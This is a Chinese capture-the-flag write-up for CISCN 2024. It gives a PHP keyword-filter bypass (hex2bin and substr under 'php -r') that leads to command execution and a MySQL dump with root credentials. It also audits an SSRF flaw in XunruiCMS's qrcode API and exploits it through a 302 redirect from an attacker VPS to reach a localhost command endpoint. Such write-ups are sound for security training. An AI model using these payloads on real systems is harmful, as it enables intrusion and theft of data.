Ciscn2024

Simple_php
1 |
|
此时发现该过滤的都过滤了;而我们可以利用php -r来执行命令

此时我们能绕过的就是进行编码进行绕过;而因为base64和xxd都被过滤;此时我们就可以尝试hex2bin编码;此时的hex2bin可以将十六进制转为ascii

但是此时有个问题就是hex2bin要求里面的参数类型为字符串;但是我们的""又被过滤了。此时我们可以考虑使用_使其默认为字符串;然后再使用substr()来截取后续我们要执行的命令来绕过。

所以此时的思路就是使用hex2bin()来编码绕过上面的关键词检测,接着使用_下划线来使得hex2bin中的编码成为字符串,最后再使用substr()来截取编码后的命令。
payload如下:
1 | cmd=php -r $a=hex2bin(substr(_6c73202f,1));system($a); |

此时发现flag不在目录下面,但是当我们使用grep -r "flag" /来全局查找flag时会发现有一些日语

此时翻译完后是
1 | 此系统上存在一个名为的文件。 该数字表示无法自动升级(或降级)的数据库二进制格式的版本。 nn因此,旧数据目录将重命名为 /var/lib/mysql-*,新数据目录将初始化为 /var/lib/mysql。 nn如有必要,手动导出/导入数据(例如使用 mysqldump)。 |
既然找不到flag;那么此时我就可以怀疑flag就在mysql数据库里面。
此时执行
payload
1 | mysql -u root -p'root' -e 'show databases'; |
来登录并查看所有的数据库的库

接下来我们逐一的查看库下面的表,后面可以发现再PHP_CMS有flag
payload
1 | mysql -u root -p'root' -e 'use PHP_CMS;SHOW TABLES;' |

所以此时的最终的payload是
1 | mysql -u root -p'root' -e 'use PHP_CMS;SHOW TABLES;select * from F1ag_Se3Re7;' |

flag{d3dad6c8-fd34-499a-9428-6f82c92c11af}
easycms
hint:
1 | 简单的cms,可以扫扫看? 提示1: /flag.php: |
此时扫描结果如下:

此时访问flag.php后会得到回显如下
1 | Just input 'cmd' From 127.0.0.1 |
此时我们大致就可以将思路定下来了,看看能不能利用ssrf。此时我们先搜一下这个cms有没有存在ssrf

此时发现在qrcode中存在ssrf,但是很可惜就是没有给出exp然后又有提示说要查看源码,那大概就是要进行代码审计然后打ssrf了。
白盒审计
在进行代码审计前我们可以先看一下开发者文档,先大致了解一下这些目录的作用
二次开发须知(必读),开发入门,PHP开源CMS系统帮助文档 (xunruicms.com)
此时经过阅读我们将核心放在dayrui目录
此时该目录下的App的作用是应用程序目录、自定义应用、自定义插件、自定义模型;Fcms是XunRuiCMS程序类目录,此目录的文件不允许修改;ThirdParty是第三方类的程序文件。此时在大致了解了目录结构之后我们就可以开始代码审计了。因为前面已经给出了ssrf的大致位置,所以此时我们可以直接全局搜素qrcode

此时我们跟进到这个Api.php,此时函数如下
1 | public function qrcode() { |
经过审计我们此时发现存在四个参数$value、$thumb、$matrixPointSize、$errorCorrectionLevel;且这四个参数的参数值我们都可以控制,接下来就是看看哪里会有问题。接下来继续看发现file参数由这四个参数组成但是我们不可控制;接下来就定位到了thumb参数,此时在$logo = imagecreatefromstring(dr_catcher_data($thumb));中使用了dr_catcher_data对thumb参数进行了处理

我们跟进进去,此时我们注意到一个非常危险的函数curl_exec()

此时的curl_exec()会造成ssrf刚好和我们预期的一样。那么此时我们就可以以thumb参数入手,填入一个302重定向的地址,将这个重定向的地址指向127.0.0.1/flag.php然后再构造cmd来执行命令。
此时我们将这个302重定向的服务架设在自己的vps上面
1 |
|

然后构造payload让我们的靶机来访问这个重定向的网址,使其自己访问自己的flag.php目录,进而执行命令
此时我们经管部阅读开发者文档我们可以知道如何进行构造

payload如下
1 | /index.php?s=api&c=api&m=qrcode&thumb=123.207.xx.xx&text=1&size=2&level=1 |

easycms_revenge
这题和昨天的不一样的点就在多了一个图片的检测;此时我们的解决办法就是在302重定向的目录下在放一张真正的图片
payload如下
1 |
|
